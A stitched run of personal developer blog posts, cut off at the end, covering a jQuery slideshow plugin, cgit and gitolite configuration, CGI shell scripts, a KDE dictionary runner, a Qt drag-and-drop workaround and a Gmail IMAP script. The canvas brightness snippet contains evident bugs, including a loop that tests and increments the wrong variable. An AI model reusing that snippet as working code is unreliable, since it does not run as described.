wikipedia.org##[id^="EditorBanner"]

The first rule blocks the javascript loader, and the second rule blocks the html stub. Either one will effectively block the Wikipedia banner.

Here’s what it looks like with Chrome Adblock:

After sticking exclusively with straight-up javascript for years and years (it was actually my first programming language), and struggling with the DOM and all the various browser quirks, I finally caved in and tried out jQuery. It’s awfully nice, though it seems to encourage a few design patterns that might not always be optimal.

jasondonenfeld.com pulls images via AJAX from my zenphoto installation on photos.jasondonenfeld.com. It also has a small list of various recordings I had laying around my hard drive, playable using HTML5 or, as a fall-back, flash, implemented using the jPlayer plugin for jQuery, heavily modified. The background smoothly transitions through a series of images.

To do the fading, I wrote my first jQuery plugin, fadeshow:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137

(function($) {
        $.fn.fadeShow = function(options, images, changeCallback)
        {
                var self = this;
 
                self.css("overflow", "hidden");
 
                if (options.shuffle) {
                        var index = images.length;
                        while (index) {
                                var random = Math.floor(Math.random() * index);
                                var old = images[--index];
                                images[index] = images[random];
                                images[random] = old;
                        }
                }
                if (!options.fadeTime || options.fadeTime <= 0)
                        options.fadeTime = 1000;
                if (!options.imageTime || options.imageTime <= 0)
                        options.imageTime = 4000;
 
                self.currentImage = 0;
 
                var sizeToRatio = function(image) {
                        if (!image.ratio)
                                return;
 
                        var height, width;
                        if (!image.hasCompleted) {
                                if (self.width() / self.height() > image.ratio) {
                                        image.width = self.width();
                                        image.height = self.width() / image.ratio;
                                } else {
                                        image.height = self.height();
                                        image.width = self.height() * image.ratio;
                                }
                                height = image.height;
                                width = image.width;
                        } else {
                                height = $(image).height();
                                width = $(image).width();
                        }
                        if (self.width() / self.height() > image.ratio)
                                $(image).css("width", "100%").css("height", "auto");
                        else
                                $(image).css("height", "100%").css("width", "auto");
                        $(image).css("top", Math.min(0, (self.height() - height) / 2).toString() + "px");
                        $(image).css("left", Math.min(0, (self.width() - width) / 2).toString() + "px");
                }
 
                var establishNaturalSize = function(image) {
                        if (this.naturalHeight && this.naturalWidth)
                                return;
                        var i = new Image();
                        i.onload = function() {
                                image.naturalHeight = this.height;
                                image.naturalWidth = this.width;
                        }
                        i.src = image.src;
                }
                var imageLoadSetRatio = function() {
                        establishNaturalSize(this);
                        this.ratio = this.width / this.height;
                        this.hasCompleted = true;
                        sizeToRatio(this);
                };
                var imageLoad = function() {
                        establishNaturalSize(this);
                        this.hasCompleted = true;
                };
                var functionWithTrigger = function(theFunction, needsTrigger, triggerImage) {
                        if (!needsTrigger || !changeCallback)
                                return theFunction;
                        return function() {
                                changeCallback(triggerImage);
                                theFunction.apply(triggerImage);
                        };
                };
 
                for (var i = 0; i < images.length; ++i) {
                        if (!images[i].src)
                                continue;
                        var image = document.createElement("img");
                        image.hasCompleted = false;
                        $(image).css("margin", "0px").css("position", "absolute");
                        if (i > 0)
                                $(image).hide();
                        if (images[i].width && images[i].height) {
                                image.ratio = images[i].width / images[i].height;
                                image.onload = functionWithTrigger(imageLoad, i == 0, image);
                        } else {
                                image.ratio = 0;
                                image.onload = functionWithTrigger(imageLoadSetRatio, i == 0, image);
                        }
                        image.src = images[i].src;
                        if (image.ratio)
                                sizeToRatio(image);
                        self.append(image);
                }
 
                $(window).resize(function() {
                        self.children("img").each(function(index, image) {
                                sizeToRatio(image);
                        });
                });
 
                var nextImage = function() {
                        var children = self.children("img");
                        var current = children[self.currentImage];
                        var next;
                        do {
                                if (++self.currentImage >= children.length)
                                        self.currentImage = 0;
                                next = children[self.currentImage];
                                if (next == current)
                                        return;
                        } while (!next.hasCompleted);
                        if (self.currentImage) {
                                $(next).fadeIn(options.fadeTime, function() {
                                        $(current).hide();
                                        if (changeCallback)
                                                changeCallback(next);
                                });
                        } else {
                                $(next).show();
                                $(current).fadeOut(options.fadeTime, function() {
                                        if (changeCallback)
                                                changeCallback(next);
                                });
                        }
                }
 
                window.setInterval(nextImage, options.imageTime);
 
                return self;
        };
})(jQuery);

It preloads all the images, and it always resizes to 100% in either height or width, depending on which dimension is optimal, and then crops equally on both sides for the non-optimal dimension. To use it, I quite simply enter this:

$("#background").fadeShow({ shuffle: true, imageTime: 10000, fadeTime: 2000 }, images);

–where images is an array of objects, each of which has at least an src property and optionally width & height properties.

One big issue, however, was that not all images had the same average background tone, so the white text was sometimes not visible enough in the black boxes’ opacity level. I didn’t want to increase the opacity all the time, though, because for some backgrounds it looks nice to have a low opacity.

The solution was to draw the image inside of an HTML5 canvas element, not rendered to the document but only in memory in javascript, and then determine the average V value of the background image in HSV colorspace (which is simply the maximum RGB value), by averaging the pixel data accessible from the canvas object, and only those pixels which are directly underneath the primary text-box in the upper left corner. (The HSV idea actually came from reading the QPalette source code, which I discovered when investigating how it determined button text color based on button background color.) Once I had the average V value for that area, I reasoned that I should take V/255, to get a color percentage, and then take one-third of that, since it seems like one third gray is about the maximum viewable background color (and I remember hearing something about this from my 6th grade art teacher). Then once I had that percent, I made sure it wasn’t lower than 10%, since I still want some visible bubble. The resulting algorithm is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

$("#background").fadeShow({ shuffle: true, imageTime: 10000, fadeTime: 2000 }, images, function(image) {
	var canvas = document.createElement("canvas");
	if (!canvas.getContext) {
		delete canvas;
		return;
	}
	canvas.width = $(image).parent().width();
	canvas.height = $(image).parent().height();
 
	var context = canvas.getContext("2d");
	var top = -$(image).offset().top * image.naturalWidth / image.width;
	var left = -$(image).offset().left * image.naturalHeight / image.height;
	var width = $(image).parent().width() * image.naturalWidth / image.width;
	var height = $(image).parent().height() * image.naturalHeight / image.height;
	if (!width || !height) {
		delete canavs;
		return;
	}
	context.drawImage(image, left, top, width, height, 0, 0, canvas.width, canvas.height);
 
	var imageData = context.getImageData(0, 0, canvas.width, canvas.height);
 
	var name = $("#name");
	var maxSum = 0;
	var maxes = 0;
	for (var x = name.offset().left; x < (name.offset().left + name.width()); ++x) {
		for (var y = name.offset().top; x < (name.offset().top + name.height()); ++x) {
			var index = (y * (imageData.width * 4)) + (x * 4);
			maxSum += Math.max(imageData.data[index], imageData.data[index + 1], imageData.data[index + 2]);
			++maxes;
		}
	}
	$(".transparentbox").fadeTo(800, Math.max(.1, ((maxSum / maxes) / 255) / 3));
	delete canvas;
});

I have it nicely fade between opacities. If you watch jasondonenfeld.com closely enough, you’ll notice it, though it’s quite subtle.

The other layout issue is that I don’t really like document-level scrollbars very much. Instead, I opted to make the page never scroll, but just to hide the auxiliary boxes when the document becomes too small. But in order to inform the user that there is data to be shown, I show one or two arrows, depending on the dimensions. The code to do so is trivial, and the end result looks like this:

Over on the zx2c4.com end, several cool things are going on as well. I pull the latest blog posts using the JSON wordpress plugin using JSONP. Dates are nicely made fuzzy using the timeago plugin for jQuery. I also display a list of projects sorted by last-updated from my git repository. Then, to add the final touches, I show a super fast moving stream of random source code from a random project in my git repository, streaming continuously and randomly.

The background is not photoshopped at all. I took it with a cheap point-and-shoot digital camera when I was fourteen while sitting in the back of a fogged up car during winter at a gas station and shaking around the camera. I’m not sure how much I like the whole green matrix hacker aesthetic of the site, but maybe that’s what I ought to do.

On the server side, to get the source code from the git repositories (which are managed by gitolite, as mentioned in several other posts), I employ this very simple shell script:

1
2
3
4
5
6
7
8
9
10
11

#!/bin/sh
echo "Content-Type: text/plain"
echo
 
for i in {1..10}; do
project="/home/gitcode/repositories/$(shuf -n 1 /home/gitcode/projects.list)"
hash=$((git --git-dir="$project" ls-tree -r HEAD | egrep -i '.*\.(c|h|cpp|hpp|cc|hh|js|py|rb|sh|cgi|bash|txt|php|htm|html|shtml|java|pro|pri|nsi|bat|vbs|asp|cs|hs|sln|xml|xhtml|csproj|rst)$' | shuf -n 1 | cut -f 1 | cut -d ' ' -f 3) 2> /dev/null)
if [ "$hash" != "" ]; then
        git --git-dir="$project" cat-file -p $hash
fi
done

The shuf command turned out to be very handy. And to get the project list and their description and sort it by the latest commit, I use this custom script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

#!/bin/sh
echo "Content-Type: application/json"
echo
 
notfirst=0;
echo "["
(cat /home/gitcode/projects.list | while read line; do
        (stat --printf "%Y\n" /home/gitcode/repositories/$line/refs/heads/* | sort -nr | head -n 1 | tr -d '\n') 2> /dev/null
        echo -e "\t$line"
done) | sort -nr | cut -f 2 |
while read line; do
        if [[ $notfirst == 1 ]]; then
                echo ","
        fi
        description=$(cat "/home/gitcode/repositories/$line/description")
        echo "{ \"name\": \"${line%.git}\", \"description\": \"$description\" }"
        notfirst=1
done
echo "]"

This returns a JSON array. To make it scroll in the javascript, I simply make a div with overflow:hidden and then modify the scroll position, and request more code when it’s near the bottom.

Last but certainly not least, I’ve gone through great pains to compress and minify all of my css and javascript in the most efficient way possible. After some testing with compression ratios, I picked Google’s Closure Compiler for javascript and Yahoo’s YUI Compressor for CSS. In order to keep track of which files have been compressed and incorporated into the single css file and single js file file for each page, I made a very generic and reusable make file that scans js/*.js and css/*.css, excluding already minified files, and incrementally makes js/*.min.js and css/*.min.css, and eventually creates js/scripts.min.js and css/styles.min.css as composites. I prefix each js and css file with a three digit code to preserve ordering, much like how udev manages rule priorities. Here’s my makefile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

JS_DIR = js
CSS_DIR = css
 
JS_MIN = $(JS_DIR)/scripts.min.js
CSS_MIN = $(CSS_DIR)/styles.min.css
 
JS_MIN_FILES := $(patsubst %.js, %.min.js, $(filter-out %.min.js, $(wildcard $(JS_DIR)/*.js)))
CSS_MIN_FILES := $(patsubst %.css, %.min.css, $(filter-out %.min.css, $(wildcard $(CSS_DIR)/*.css)))
 
JS_COMPILER = google-compiler --warning_level QUIET
CSS_COMPILER = yuicompressor --type css
 
.PHONY: all clean
 
all: $(JS_MIN) $(CSS_MIN)
 
%.min.js: %.js
	@echo "Compiling javascript" $<
	@$(JS_COMPILER) --js $< --js_output_file $@
 
%.min.css: %.css
	@echo "Compiling stylesheet" $<
	@$(CSS_COMPILER) -o $@ $<
 
$(JS_MIN): $(JS_MIN_FILES)
	@echo "Assembling compiled javascripts"
	@cat $^ > $@
 
$(CSS_MIN): $(CSS_MIN_FILES)
	@echo "Assembling compiled stylesheets"
	@cat $^ > $@
 
clean:
	@rm -fv $(JS_MIN) $(JS_MIN_FILES) $(CSS_MIN) $(CSS_MIN_FILES)

As always, suggestions and comments for any of the above are very welcome.

Head on over to ZX2C4.COM and JasonDonenfeld.com.

Today we open up the beginning of our Airtunes 2 specification to the community.

A member of the team is hard at work on the PulseAudio module, but if you’d like to help, don’t hesitate to contact us. And of course, implementing this in other places too would be more than welcome. Finally, we still need to finish the specification, so if you can offer any assistance, please do let us know. We’re on #airtunes2 on freenode.

So I’ve decided to mirror Qt’s repository on my personal server running cgit, which is much much faster than Gitorious. It’s synced once an hour by cron. And if nobody abuses this, I’ll keep it open for the community.

Head on over to git.zx2c4.com/qt.

Next up, I might attempt to mirror KDE’s subversion repository on my CGit. I’m not a very big fan of websvn, and I know KDE is moving to git, but the main tree won’t be moved for quite some time. Anyone an expert at git-svn and can provide some tips for a mirroring script to a bare repository? As we speak, I’m running git svn fetch on a repository made with git svn init --stdlayout svn://anonsvn...., and then manually adjusted to be bare. The import is taking a long time…

Update update update: Holy cow. After leaving git svn fetch running overnight, I’m on revision 41671 of 1159974… which is only 3.5% done (and by the way, I’m running this out of a data center’s über-bandwidth connection). KDE has a huge history; this is obscene. Any pointers here? Should I stop this? Have I done something silly that will render the eventual result unusable?

I have in my cgitrc:

repo.readme=master:docs/readme.rst
repo.about-filter=/home/gitcode/web/rst2html/rst2html

about-filter is a feature cgit has always had which pipes the readme file through that command before displaying it. In this case, it’s just the standard docutils restructuredText python script. The killer new feature here is the ability to specify that the readme file tree comes from a specific git head. This says to pull it from the master repository. I could specify any branch or even a sha1 id of a specific commit.

So now, http://git.mywebpage.com/about will display the restructuredText of doc/readme.rst converted to its nice HTML display. Best of all, I can go to http://git.mywebpage.com/about/otherfile.rst, and this will translate to master:docs/otherfile.rst. I could replace the about-filter with something for markdown or even a script that chooses which filter based on file name, and get something identical to Github’s readme feature. Now it’s in cgit. Hopefully Lars will pull this soon, as he did my other patches.

The tool rst2html takes rst on stdin and pushes html on stdout. The first thing we need to do is make an rst2html wrapper and push certain URLs to it. My cgit installation already has a pretty advanced .htaccess for rewriting cgit urls, and here we’ll augment the one in that post with:

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule (.*)/rst/(.*) /rst.cgi/$1/plain/$2 [L,PT,NS]

This internally rewrites all traffic at http://git.website.com/ProjectName/rst/path/to/myfile to http://git.website.com/rst.cgi/ProjectName/plain/path/to/myfile. This means that the CGI environment variable PATH_INFO is set to http://git.website.com/ProjectName/plain/path/to/myfile. CGit looks at PATH_INFO to determine which page to show, so all we have to do is call cgit.cgi and pipe it to rst2html:

#!/bin/sh
echo "Content-Type: text/html"
echo
./cgit.cgi | ../rst2html/rst2html

However, cgit spits out HTTP headers of its own, which we need to strip:

#!/bin/sh
echo "Content-Type: text/html"
echo
./cgit.cgi | sed -n '/^$/,$p' | ../rst2html/rst2html

The sed command prints all lines after the first empty line.

This is all fine, but cgit nicely caches output, and so should our rst script. To do this we need to look at the Last-Modified and Expires headers that cgit spits out and compare them to a cache file if it already exists. If the cache is dirty, we call rst2html on cgit’s output and tee it to the cache file to update it for the next call. If it’s clean, we just cat the cache. Along the way, we make sure to copy cgit’s HTTP cache headers for the rst file.

#!/bin/sh
plain=$(./cgit.cgi)
expiration=$(echo "$plain" | sed -n 's/^Expires: \(.*\)$/\1/p')
lastmodified=$(echo "$plain" | sed -n 's/^Last-Modified: \(.*\)$/\1/p')
echo "Content-Type: text/html"
echo "Expires: $expiration"
echo "Last-Modified: $lastmodified"
echo
expiration=$(date -d "$expiration" +%s)
lastmodified=$(date -d "$lastmodified" +%s)
cache="../rst2html/cache/$(echo $PATH_INFO | md5sum | cut -d ' ' -f 1)"
cachetime=0
if [ -f "$cache" ]; then
        cachetime=$(stat -c %Y "$cache")
fi
if [ $cachetime -ne 0 -a $cachetime -lt $expiration -a $cachetime -ge $lastmodified ]; then
        cat "$cache"
else
        echo "$plain" | sed -n '/^$/,$p' | ../rst2html/rst2html | tee "$cache"
fi

If you set the trigger word to nothing, then it will add dictionary entries for every query, which could be neat:

Hoping to move this out of kdereview soon and into kdebase.

Since Gitolite manages git repositories, it has the option of generating the necessary information for Git’s shipped gitweb. This includes making a static list of repository names that should be included in gitweb as well as optionally adding the gitweb.owner entry inside .git/config and the description file at .git/description. The static list of repository names is boring and standard and easy. The owner and description specifications are standards set by the Git project for this kind of information. Hence, Gitolite supports interfacing with them.

Meanwhile, CGit uses its own configuration format for determining the owner and description and repository path. For interfacing with Gitolite, in the past I have created a hook that writes out a CGit-formated configuration file, which is then included in the main cgitrc with the include directive. Essentially I had to do this:

gitcode@starfox ~ $ cat web/cgit/generaterepos.sh 
#!/bin/sh
 
cd $(dirname "$0")
rm -f repos.tmp
 
cat ~/projects.list | while read gitname; do
        name=${gitname%.*}
        fullpath=/home/gitcode/repositories/$gitname
        owner=$(git --git-dir=$fullpath config --get gitweb.owner)
        desc=$(cat $fullpath/description)
        (
                echo repo.url=$name
                echo repo.name=$name
                echo repo.path=$fullpath
                echo repo.desc=$desc
                echo repo.owner=$owner
                echo repo.enable-log-filecount=1
                echo repo.enable-log-linecount=1
        ) >> repos.tmp
done
 
mv repos.tmp repos
 
gitcode@starfox ~ $ tail -n 1 web/cgit/cgitrc 
include=/home/gitcode/web/cgit/repos
 
gitcode@starfox ~ $ cat repositories/gitolite-admin.git/hooks/post-update.secondary 
#!/bin/sh
exec /home/gitcode/web/cgit/generaterepos.sh

This worked decently, but it was cumbersome and ugly, and was likely not to scale as features in both Gitolite and CGit are added and changed. Luckily, CGit supports the scan-path option, which builds an internal list of repositories automatically by scanning a directory for git folders. One such solution for integrating with Gitolite would be to simply point scan-path at Gitolite’s repository directory. This works fine, but it has three main shortcomings, which I’ve addressed this in a generic non-Gitolite-specific way in three patches. Let’s walk through them one by one.

project-list

We don’t want all Gitolite repositories showing up on CGit, and Gitolite provides a generic mechanism for controlling this: it writes a list of all the repositories selected for Gitweb to a file called projects.list. It’s just a flat file with each repository’s name written on a new line:

CheeseWhiz.git
Geoemail.git
MyCoolThangs.git

So, what about augmenting CGit’s scan-path feature with another setting called “project-list” that points to this file? That’s what this patch does. If project-list is set before scan-path is set, then scan-path only scans the git folders at project-list/${a line in the project-list file}. Problem solved, and this is a pretty generic way of doing it too.

remove-suffix

Most people store git repositories on disk at MyGitRepository.git. Notice the .git ending. However, most people prefer to see it listed as just “MyGitRepository” and they especially would like to clone it at gituser@domain.com:MyGitRepository, without needing the .git ending. Usually, CGit’s scan-path infers the repository name directly from the folder name. This patch adds a setting called “remove-suffix” that, if set to 1 (default is 0) before scan-path is set, will remove the .git suffix from the repository name and url while still pointing to the correct physical path. This as well is fairly generic and not specific to Gitolite or Gitweb, but rather Git’s usual conventions.

enable-gitweb-owner

CGit’s scan-path infers the owner of the repository from the posix owner’s UID name. But there is an additional Git standard for overriding this for any interface: the “gitweb.owner” configuration key in .git/config, which Gitolite understands and respects, as well as Gitweb. This patch simply calls Git’s internal C functions for fetching this information from the current repository’s config, and prefers this as the owner to the posix owner’s UID name. If gitweb.owner is not set in the configuration, it falls back to the posix owner’s UID name. This is a standard Git behavior. This occurs only for scan-path — cgitrc specified owners are preferred over these former two, obviously. Again, this configuration standard has been determined by the Git project, and both Gitolite and Gitweb respect it. So, this patch adds support inside CGit for it.

it works

Now instead of the include and the ugly set of scripts and hooks, I can just place this at the bottom of my cgitrc:

enable-gitweb-owner=1
remove-suffix=1
project-list=/home/gitcode/projects.list
scan-path=/home/gitcode/repositories

and this integrates perfectly with Gitolite. All is harmonious in the Git universe.

On top of all this, I’ve cooked up a wicked good .htaccess file for CGit that allows me to have anonymous http pull at the same time as it rewrites the CGit urls to be pretty. Check it out:

Options FollowSymlinks ExecCGI
 
DirectoryIndex cgit.cgi
Allow from all
Order allow,deny
 
RewriteEngine on
 
SetEnv GIT_PROJECT_ROOT=/home/gitcode/repositories
 
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d 
RewriteRule "^(.*)/(.*)/(HEAD|info/refs|objects/(info/[^/]+|[0-9a-f]{2}/[0-9a-f]{38}|pack/pack-[0-9a-f]{40}\.(pack|idx))|git-(upload|receive)-pack)$" /git-http-backend.cgi/$1.git/$2 [NS,L,QSA]
 
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^.* /cgit.cgi/$0 [L,PT,NS]

A strange combination of stopping internal redirects and partial rewritings and odd stop conditions has made it so that the request gets forwarded and reformatted to git-http-backend if and only if it is first valid with cgit.cgi. Is this crackable? Can anyone figure out a backdoor to grab a repository that isn’t in projects.list?

I’ve also written a super generic script for uploading new repositories to my gitolite/cgit installation. From a git working directory, I run ~/Projects/uploadNewGit.sh "This is a description of my new git repo.", and wham-shabam, all the permissions get set and everything is uploaded just fine. Here is uploadNewGit, the latest version of which you can always find in my GitTools repository:

#!/bin/sh
 
GITOLITE_ADMIN="$HOME/Projects/gitolite-admin"
 
gitdir=$(readlink -f "$(pwd)")
name=`basename "$gitdir" | cut -d / -f 2 | cut -d ' ' -f 1`
description="$1"
 
if [ ! -d "$gitdir/.git" ]; then
        echo Not a git repo.
        exit 1
fi
if [ -z "$description" ]; then
        echo You need to specify a description argument.
        exit 1
fi
 
pushd "$GITOLITE_ADMIN/conf" > /dev/null
echo "Writing config.."
(echo
echo "  repo    $name"
echo "          RW+CD   =   $(whoami)"
echo "          R       =   @all"
echo "          $name \"$(git config --get user.name)\" = \"$description\"") >> gitolite.conf
git commit -a -m "Adding $name to repository."
git push
popd > /dev/null
 
url=`git --git-dir=$GITOLITE_ADMIN/.git remote -v | grep push | cut -f 2 | cut -d ' ' -f 1 | sed "s/$(basename $GITOLITE_ADMIN)/$name/"`
git remote rm origin 2> /dev/null
git remote add origin $url
git push -u --all
git push --tags

(As a side note, I’m not really sure the best way to quote commands inside of commands with variables that have spaces. something=$(command $(othercommand $argument)) has issues if argument has a space or if othercommand produces something with a space or if command produces something with a space (not totally certain about the latter two — I should check). But I can’t do this: something=”$(command “$(othercommand “$argument”)”)” because of obvious quoting problems. What’s the common solution to this? I’ve been using an awkward combination of the backtick operator `…` and the $(…) syntax but the backtick has some weird rules too. What’s the deal? Can somebody point me in a good place to read about this?)

Anyway, most of what I’ve written about in this post is new to me. Or at the very least, I’m a bit uneasy. So if you have any suggestions, by all means please tell me. I’m looking forward to seeing what the KDE sysadmins do in the end. Hopefully the CGit authors accept my patches.

Update: After some back and forth with Lars, the CGit maintainer, I’ve added a few more patches, including putting the gitweb.owner functionality behind configuration setting and also caching the scan, among various other improvements. You can check out all the commits I’ve made on this at the cgit for my cgit clone.

Update 2: I’ve gotten rid of my branch because my commits have been merged to cgit!

It functions as simply as I wanted it to back in March: you hit alt+f2, type “define {your word}”, and presto, the results are there.

Unfortunately, it wasn’t as easy as it ought to have been. I utilize the same data source as the dictionary plasmoid, which is a Plasma::DataEngine, and as it turns out, DataEngine has a few issues with threading, which KRunner relies on. It’s also built around signal/slot async requests, while KRunner uses a blocking thread for computation. I ended up having to invoke a QMetaMethod to shuffle things to the right thread and use a QMutex for synchronization. What a hassle. Nevertheless, the dictionary plugin seems to work pretty well.

Anything I should add to it? Ability to choose alternative trigger words to “define”? Some kind of loading indicator? If you have the time, try out the code and let me know what you think.

Update: Some of you in the comments and on IRC have asked me the best way to try this out immediately. Here are the commands:

svn co svn://anonsvn.kde.org/home/kde/trunk/kdereview/plasma/runners/dictionary dictionary-krunner
cd dictionary-krunner
cmake . -DCMAKE_INSTALL_PREFIX=$(kde4-config --prefix)
make
sudo make install
kbuildsycoca4
kquitapp krunner
krunner

Let’s say you have two QGraphicsItem called plate1 and plate2, in a subclass called PlateGraphicsItem. Inside plate1 and plate2, you have a few child items, food1, food2, food3, food4, etc, in a subclass called FoodGraphicsItem. Foods are inside of plates. What if we want to move one piece of food from one plate to another, smoothly dragging it there? Intuitively, we should be able to do this (after remembering to run setFlag(ItemSendsGeometryChanges)):

QVariant FoodGraphicsItem::itemChange(GraphicsItemChange change, const QVariant &value)
{
	if (change == ItemPositionChange && scene()) {
		QRectF newRect = mapRectToScene(boundingRect());
		newRect.moveTo(parentItem()->mapToScene(value.toPointF()));
		foreach (QGraphicsItem *item, scene()->items()) {
			if (item != parentItem() &&
			    qgraphicsitem_cast< PlateGraphicsItem* >(item) &&
			    item->mapRectToScene(item->boundingRect()).contains(newRect)) {
				setParentItem(item);
				break;
			}
		}
	}
	return QGraphicsItem::itemChange(change, value);
}

As the user drags the food, we see if it’s boundingbox fits inside the bounding box of a different plate. If it does, we switch parents. But this doesn’t happen. As soon as the item is reparented, it leaps across the screen to the same relative position it was in while inside of the old plate. If it was on the bottom-left corner of the old plate, it moves to the bottom-left corner of the new plate. Not what we want. So it seems like we should be able to modify the inside of that loop like this:

				QPointF oldPos = scenePos();
				setParentItem(item);
				return QVariant(item->mapFromScene(oldPos));

But alas, this does not work either. As soon as you move the mouse again (while still dragging), the item leaps to where it was before the above fix. And remember: this leap puts the item far away from underneath the mouse cursor. So it works initially, but the next time Qt’s MouseMove event handler is called, we’re SOL.

After digging through the Qt source for quite a bit of time, it turns out that Qt keeps track of where the mouse was pressed originally, in the scene coordinates, and uses this to compute the new location relative to the old parent coordinates. Not good. Mixing coordinate systems like this is not okay once the item is reparented. It turns out, we have to simulate a mouse release event to clear Qt’s internal state. But this doesn’t completely do it, because the mouse event still has the scene coordinate of where the button was pressed, which means we also need to intercept and tamper this information before Qt sees it. Essentially what this amounts to is reversing Qt’s coordinate equation, solving for zero, and adding back the location that we want. And this has to happen every time the user moves the mouse, but it should only happen once the item has been reparented. And if the item is reparented back to the original plate after a series of drags, we still have to do this transformation, since we have already cleared Qt’s internal state, which means we need to store the click location once we reparent.

So all and all, this horrible hack amounts to adding this (and making the above modification):

void FoodGraphicsItem::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
{
	//BIG PHAT UGLY HACK!
	if (event->buttonDownScenePos(Qt::LeftButton) == m_manualMouseReleaseAt ||
	    !parentItem()->contains(parentItem()->mapFromScene(event->buttonDownScenePos(Qt::LeftButton)))) {
		m_manualMouseReleaseAt = event->buttonDownScenePos(Qt::LeftButton);
		QGraphicsSceneMouseEvent mouseRelease(QEvent::GraphicsSceneMouseRelease);
		QGraphicsItem::mouseReleaseEvent(&mouseRelease);
		event->setButtonDownScenePos(Qt::LeftButton, parentItem()->mapToScene(pos() + transform().map(event->buttonDownPos(Qt::LeftButton))));
	}
	QGraphicsItem::mouseMoveEvent(event);
}

This works, but it’s awful. Really awful. And it could break in future Qt versions. But for now, it works.

So I’m wondering — is this behavior by design, or have I uncovered an odd Qt bug?

Update: It looks like others have encountered the same problem. Well, here’s a work around. But is there a more correct solution?

1. alt + f2
2. type “define “
3. ctrl + v
4. awe at simplicity

While we’re at it, a translation plugin would be nice too.

I will make the dictionary runner. Standby.

So, I turn to the interwebs for help: How do I find a summer coding job in Europe? Anyone suggest any companies or individuals to contact, or know of any European coding gigs search sites? Any KDE/Qt companies based in Paris or Italy or anyplace European I should contact? I’ll be in Paris next week traveling, so perhaps I’d be able to meet some folks in person while I’m over there.

This was all fun and games and helped filter out some spam throughout the years, but it seems like it’s time I settle down on one e-mail address. I would also like to find a different domain than zx2c4.com for personal communications that’s much easier to remember (any suggestions?). The problem is – it’s very difficult to switch away from catch-all e-mail. My initial idea was to gather up all the e-mails of individuals who have sent e-mail to something other than my main e-mail address, and automate the process with a form letter sent via SMTP that says something like “Dear joe@shmoe.com, You have sent letters to asdfasf [at] zx2c4.com, thatthang [at] zx2c4.com, jojomojito [at] zx2c4.com. Please note that starting May 1, 2010, only whatIDecide [at] zx2c4.com will be valid. Thank you, Jason”. And then painstakingly go to all of the websites with logins and change my e-mail address for every.single.solitary.one one.by.one. At first this all seemed doable.

But then I started investigating…. Since I started using GMail in March of 2005, I have received e-mail from 1,299 different e-mail addresses on 267 different zx2c4.com e-mail addresses, not to mention lost e-mail from the 5 years prior. I built this python script to give me a good layout of what’s up:

#!/usr/bin/env python
# -*- coding: iso-8859-1 -*-
from imaplib import IMAP4_SSL
from optparse import OptionParser
from email.parser import HeaderParser
from email.message import Message
from email.utils import getaddresses
import sys
import os.path
import os
 
def main():
	parser = OptionParser(usage="%prog --username/-u USERNAME --password/-p PASSWORD --mode/-m MODE [--domain/-d DOMAIN] [--cachedir/-c CACHEDIR]", description="Downloads gmail message headers and determines the set of all e-mail addresses on DOMAIN at which people have emailed you.")
	parser.add_option("-u", "--username", action="store", type="string", metavar="USERNAME", help="Gmail username")
	parser.add_option("-p", "--password", action="store", type="string", metavar="PASSWORD", help="Gmail password")
	parser.add_option("-d", "--domain", action="store", type="string", metavar="DOMAIN", help="Domain name")
	parser.add_option("-c", "--cachedir", action="store", type="string", metavar="CACHEDIR", help="The directory to cache fetched headers for subsequent runs")
	parser.add_option("-m", "--mode", action="store", type="string", metavar="SENDERSFILE", help="If the mode is \"to\", this prints a list of all the emails you've received email on. If the mode is \"from\" this prints a list of everyone who has sent you email. If the mode is \"frombyto\" this prints a list of all the addresses that have emailed you sorted by the address at which you received email. If the mode is \"tobyfrom\" this prints a of all the addresses you have received e-mail from sorted and duplicated by who sent the e-mail.")
	(options, args) = parser.parse_args()
	if options.username == None or options.password == None:
		parser.error("Username and password are all required.")
	if options.mode != "from" and options.mode != "to" and options.mode != "frombyto" and options.mode != "tobyfrom":
		parser.error("You must specify a mode.")
	if not options.username.lower().endswith("@gmail.com") and not options.username.lower().endswith("@googlemail.com"):
		options.username += "@gmail.com"
	if options.cachedir != None and not os.path.exists(options.cachedir):
		try:
			os.makedirs(options.cachedir)
		except:
			sys.stderr.write("Could not make cache dir. Skipping cache.\n")
			options.cachedir = None
 
	imap = IMAP4_SSL("imap.gmail.com")
	imap.login(options.username, options.password)
	imap.select("[Gmail]/All Mail", True)
	typ, data = imap.search(None, 'ALL')
	if typ != "OK":
		sys.exit(("Could not search properly: %s" % typ))
	emailAddresses = {}
	data = data[0].split()
	length = len(data)
	counter = 0
	parser = HeaderParser()
	for num in data:
		counter += 1
		if options.cachedir != None:
			cachePath = os.path.join(options.cachedir, num)
		else:
			cachePath = None
		if cachePath != None and os.path.exists(cachePath):
			message = parser.parse(open(cachePath, "r"))
		else:
			try:
				typ, data = imap.fetch(num, '(RFC822.HEADER)')
			except:
				sys.stderr.write("Failed to fetch ID %s\n" % num)
				continue
			if typ != "OK":
				sys.stderr.write("Failed to fetch ID %s: %s\n" % (num, typ))
				continue
			if cachePath != None:
				try:
					f = open(cachePath, "w")
					f.write(data[0][1])
					f.close()
				except:
					sys.stderr.write("Could not write cache for %s" % num)
			message = parser.parsestr(data[0][1], True)
		tos = message.get_all('to', [])
		ccs = message.get_all('cc', [])
		resent_tos = message.get_all('resent-to', [])
		resent_ccs = message.get_all('resent-cc', [])
